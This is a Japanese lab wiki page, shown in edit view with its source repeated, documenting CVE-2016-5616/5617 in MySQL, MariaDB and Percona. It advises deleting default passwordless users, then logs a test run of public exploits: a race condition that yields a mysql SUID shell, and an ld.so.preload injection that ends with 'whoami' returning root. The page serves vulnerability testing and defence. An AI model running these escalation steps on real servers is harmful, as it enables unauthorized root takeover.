Home
News
Forum
Wiki
Blog
Contents
Gallery
Movies
Downloads
About NSL
If you want to see English page, please click "English" Button at Left.
[
タイトル一覧
|
ページ一覧
|
新規
|
単語検索
|
最終更新
|
ヘルプ
]
CVE/2016-5616
をテンプレートにして作成
[
トップ
]
[ ]
開始行:
** CVE-2016-5616, 5617
*** [[MySQL]], [[MariaDB]], [[Percona]]
- 該当マシンにアカウントがあり,データベースのアクセス(...
- MySQL の初期ユーザ等が残っている場合は特に危険.
- [[CVE-2016-5616>http://www.cve.mitre.org/cgi-bin/cvenam...
- [[CVE-2016-5617>http://www.cve.mitre.org/cgi-bin/cvenam...
- http://legalhackers.com/advisories/MySQL-Maria-Percona-...
- http://legalhackers.com/advisories/MySQL-Maria-Percona-...
#br
**** デフォルトユーザ
- パスワードなし,ユーザ名なしのデータはインストール時に...
MariaDB [(none)]> use mysql;
MariaDB [mysql]> select Host,User,Password from user;
+-----------+------+------------------------------------...
| Host | User | Password ...
+-----------+------+------------------------------------...
| localhost | root | *1B1F13007F2FA68140D751B563EB49E018...
| rigel-b | root | ...
| 127.0.0.1 | root | ...
| ::1 | root | ...
| localhost | | ...
| rigel-b | | ...
+-----------+------+------------------------------------...
- 以下のコマンドで削除しておく
MariaDB [(none)]> use mysql;
MariaDB [mysql]> delete from user where user='';
MariaDB [mysql]> delete from user where password='';
**** mysql ユーザアカウントのダッシュ
- Exploit code : [[mysql-privesc-race.c>ftp://www.nsl.tui...
$ wget ftp://www.nsl.tuis.ac.jp/pub/mariadb/Vulnerabilit...
$ gcc -o mysql-privesc-race mysql-privesc-race.c -I/usr/...
[iseki@rigel-b ~]:439$ ./mysql-privesc-race '' '' localh...
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Co...
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / CVE-2016-5616
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit as:
uid=502(iseki) gid=100(users) 所属グループ=100(users)
[+] Connecting to the database `test` as @localhost
[+] Creating exploit temp directory /tmp/mysql_privesc_e...
[+] Creating mysql tables
DROP TABLE IF EXISTS exploit_table
DROP TABLE IF EXISTS mysql_suid_shell
CREATE TABLE exploit_table (txt varchar(50)) engine = 'M...
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine =...
[+] Copying bash into the mysql_suid_shell table.
After the exploitation the following file/table will ...
-rw-rw---- 1 mysql users 941880 11月 11 09:37 2016 /tmp/...
[+] Entering the race loop... Hang in there...
->->->->->->->->->->->->->->->->->->->->->->->->->->->->...
[+] Bingo! Race won (took 12874 tries) ! Check out the m...
-rwsrwxrwx 1 mysql users 941880 11月 11 09:37 2016 /tmp/...
[+] Spawning the mysql SUID shell now...
Remember that from there you can gain root with vuln ...
mysql_suid_shell.MYD-4.1$ whoami
mysql
**** mysql アカウントからの root アカウントのダッシュ
- Exploit code : [[mysql-chowned.sh>ftp://www.nsl.tuis.a...
mysql_suid_shell.MYD-4.1$ ./mysql-chowned.sh /var/mysql/...
MySQL / MariaDB / Percona - Root Privilege Escalation Po...
mysql-chowned.sh (ver. 1.0)
CVE-2016-6664 / CVE-2016-5617
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit as
uid=502(iseki) gid=100(users) euid=103(mysql) 所属グルー...
[+] Target MySQL log file set to /var/mysql/rigel-b.err
[+] Compiling the privesc shared library (/tmp/privescli...
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql users 941880 11月 11 09:52 2016 /tmp/...
[+] Symlink created at:
lrwxrwxrwx 1 mysql users 18 11月 11 09:52 2016 /var/mysq...
[+] Waiting for MySQL to re-open the logs/MySQL service ...
[+] Waiting for MySQL to re-open the logs/MySQL service ...
./mysql-chowned.sh: line 153: pidof: コマンドが見つかり...
Do you want to kill mysqld process to instantly get roo...
Got it. Executing 'killall mysqld' now...
[+] MySQL restarted. The /etc/ld.so.preload file got cre...
-rw-r----- 1 mysql root 19 11月 11 09:52 2016 /etc/ld.so...
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.p...
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID bin...
-rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/my...
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/my...
Got root! The database server has been ch-OWNED !
[+] Spawning the rootshell /tmp/mysqlrootsh now!
mysqlrootsh-4.1# whoami
root
終了行:
** CVE-2016-5616, 5617
*** [[MySQL]], [[MariaDB]], [[Percona]]
- 該当マシンにアカウントがあり,データベースのアクセス(...
- MySQL の初期ユーザ等が残っている場合は特に危険.
- [[CVE-2016-5616>http://www.cve.mitre.org/cgi-bin/cvenam...
- [[CVE-2016-5617>http://www.cve.mitre.org/cgi-bin/cvenam...
- http://legalhackers.com/advisories/MySQL-Maria-Percona-...
- http://legalhackers.com/advisories/MySQL-Maria-Percona-...
#br
**** デフォルトユーザ
- パスワードなし,ユーザ名なしのデータはインストール時に...
MariaDB [(none)]> use mysql;
MariaDB [mysql]> select Host,User,Password from user;
+-----------+------+------------------------------------...
| Host | User | Password ...
+-----------+------+------------------------------------...
| localhost | root | *1B1F13007F2FA68140D751B563EB49E018...
| rigel-b | root | ...
| 127.0.0.1 | root | ...
| ::1 | root | ...
| localhost | | ...
| rigel-b | | ...
+-----------+------+------------------------------------...
- 以下のコマンドで削除しておく
MariaDB [(none)]> use mysql;
MariaDB [mysql]> delete from user where user='';
MariaDB [mysql]> delete from user where password='';
**** mysql ユーザアカウントのダッシュ
- Exploit code : [[mysql-privesc-race.c>ftp://www.nsl.tui...
$ wget ftp://www.nsl.tuis.ac.jp/pub/mariadb/Vulnerabilit...
$ gcc -o mysql-privesc-race mysql-privesc-race.c -I/usr/...
[iseki@rigel-b ~]:439$ ./mysql-privesc-race '' '' localh...
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Co...
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / CVE-2016-5616
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit as:
uid=502(iseki) gid=100(users) 所属グループ=100(users)
[+] Connecting to the database `test` as @localhost
[+] Creating exploit temp directory /tmp/mysql_privesc_e...
[+] Creating mysql tables
DROP TABLE IF EXISTS exploit_table
DROP TABLE IF EXISTS mysql_suid_shell
CREATE TABLE exploit_table (txt varchar(50)) engine = 'M...
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine =...
[+] Copying bash into the mysql_suid_shell table.
After the exploitation the following file/table will ...
-rw-rw---- 1 mysql users 941880 11月 11 09:37 2016 /tmp/...
[+] Entering the race loop... Hang in there...
->->->->->->->->->->->->->->->->->->->->->->->->->->->->...
[+] Bingo! Race won (took 12874 tries) ! Check out the m...
-rwsrwxrwx 1 mysql users 941880 11月 11 09:37 2016 /tmp/...
[+] Spawning the mysql SUID shell now...
Remember that from there you can gain root with vuln ...
mysql_suid_shell.MYD-4.1$ whoami
mysql
**** mysql アカウントからの root アカウントのダッシュ
- Exploit code : [[mysql-chowned.sh>ftp://www.nsl.tuis.a...
mysql_suid_shell.MYD-4.1$ ./mysql-chowned.sh /var/mysql/...
MySQL / MariaDB / Percona - Root Privilege Escalation Po...
mysql-chowned.sh (ver. 1.0)
CVE-2016-6664 / CVE-2016-5617
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit as
uid=502(iseki) gid=100(users) euid=103(mysql) 所属グルー...
[+] Target MySQL log file set to /var/mysql/rigel-b.err
[+] Compiling the privesc shared library (/tmp/privescli...
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql users 941880 11月 11 09:52 2016 /tmp/...
[+] Symlink created at:
lrwxrwxrwx 1 mysql users 18 11月 11 09:52 2016 /var/mysq...
[+] Waiting for MySQL to re-open the logs/MySQL service ...
[+] Waiting for MySQL to re-open the logs/MySQL service ...
./mysql-chowned.sh: line 153: pidof: コマンドが見つかり...
Do you want to kill mysqld process to instantly get roo...
Got it. Executing 'killall mysqld' now...
[+] MySQL restarted. The /etc/ld.so.preload file got cre...
-rw-r----- 1 mysql root 19 11月 11 09:52 2016 /etc/ld.so...
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.p...
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID bin...
-rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/my...
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/my...
Got root! The database server has been ch-OWNED !
[+] Spawning the rootshell /tmp/mysqlrootsh now!
mysqlrootsh-4.1# whoami
root
ページ名:
サイト内 検索
高度な検索
ログイン
ユーザー名:
パスワード:
パスワード紛失
新規登録
サブ メニュー
新着情報
Books
リンク
サイトマップ
e-Learning
TUIS 認証局証明書
ミニカレンダー
2025年 5月
日
月
火
水
木
金
土
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<今日>
オンライン状況
94 人のユーザが現在オンラインです。 (9 人のユーザが xpwiki を参照しています。)
登録ユーザ: 0
ゲスト: 94
もっと...
アクセスカウンタ
今日 :
昨日 :
総計 :
Powered by XOOPS Cube 2.1© 2001-2006
XOOPS Cube Project
Design by
XoopsDesign.com